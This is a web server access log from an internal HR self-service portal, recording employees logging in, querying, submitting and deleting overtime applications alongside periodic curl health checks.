192.168.11.73 - - [04/Sep/2025:19:00:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.11.73 - - [04/Sep/2025:19:01:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58964 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:01:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58964
100.64.0.1 - - [04/Sep/2025:19:19:05 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:19:19:05 +0800] "GET / HTTP/1.1" 200 439
192.168.11.131 - - [04/Sep/2025:19:20:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:20:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.131 - - [04/Sep/2025:19:21:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:21:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.131 - - [04/Sep/2025:19:21:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.131 - - [04/Sep/2025:19:21:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:21:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:21:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.131 - - [04/Sep/2025:19:21:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.131 - - [04/Sep/2025:19:21:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:21:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8652486058451545 HTTP/1.1" 200 8588
192.168.11.131 - - [04/Sep/2025:19:21:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8652486058451545 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:21:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8652486058451545 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8652486058451545" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:21:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8652486058451545 HTTP/1.1" 200 14552
192.168.11.131 - - [04/Sep/2025:19:22:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:22:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063
192.168.11.131 - - [04/Sep/2025:19:22:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:22:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [04/Sep/2025:19:23:19 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:19:23:19 +0800] "GET / HTTP/1.1" 200 439
192.168.11.35 - - [04/Sep/2025:19:27:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [04/Sep/2025:19:27:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [04/Sep/2025:19:27:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [04/Sep/2025:19:27:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [04/Sep/2025:19:27:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [04/Sep/2025:19:27:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [04/Sep/2025:19:27:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734
192.168.11.35 - - [04/Sep/2025:19:27:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1312724 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1312724 HTTP/1.1" 302 -
192.168.11.35 - - [04/Sep/2025:19:27:57 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312724+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:57 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312724+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105
192.168.11.35 - - [04/Sep/2025:19:27:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:27:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [04/Sep/2025:19:28:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:19:28:03 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.35 - - [04/Sep/2025:19:28:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5068877635693414 HTTP/1.1" 200 8728
192.168.11.35 - - [04/Sep/2025:19:28:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5068877635693414 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5068877635693414 HTTP/1.1" 200 14146
192.168.11.35 - - [04/Sep/2025:19:28:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5068877635693414 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5068877635693414" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.81 - - [04/Sep/2025:19:28:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:28:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.81 - - [04/Sep/2025:19:28:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
192.168.11.81 - - [04/Sep/2025:19:28:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.81 - - [04/Sep/2025:19:28:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.81 - - [04/Sep/2025:19:28:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:28:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
192.168.11.81 - - [04/Sep/2025:19:28:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734
192.168.11.35 - - [04/Sep/2025:19:28:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1312730 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1312730 HTTP/1.1" 302 -
192.168.11.35 - - [04/Sep/2025:19:28:56 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312730+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105
192.168.11.35 - - [04/Sep/2025:19:28:56 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312730+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:28:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [04/Sep/2025:19:29:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34502546993359773 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:29:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34502546993359773 HTTP/1.1" 200 8728
100.64.0.1 - - [04/Sep/2025:19:29:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:19:29:16 +0800] "GET / HTTP/1.1" 200 439
192.168.11.81 - - [04/Sep/2025:19:29:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:29:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.81 - - [04/Sep/2025:19:29:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.81 - - [04/Sep/2025:19:29:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:29:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:29:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [04/Sep/2025:19:29:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34502546993359773 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34502546993359773" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:29:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34502546993359773 HTTP/1.1" 200 14146
192.168.11.81 - - [04/Sep/2025:19:29:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.81 - - [04/Sep/2025:19:29:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:29:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:29:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060
192.168.11.35 - - [04/Sep/2025:19:29:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:29:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [04/Sep/2025:19:29:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:19:29:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734
192.168.11.81 - - [04/Sep/2025:19:29:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.722237042142366 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:29:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.722237042142366 HTTP/1.1" 200 8420
192.168.11.81 - - [04/Sep/2025:19:29:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.722237042142366 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.722237042142366" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [04/Sep/2025:19:29:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.722237042142366 HTTP/1.1" 200 11837
192.168.11.81 - - [04/Sep/2025:19:30:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
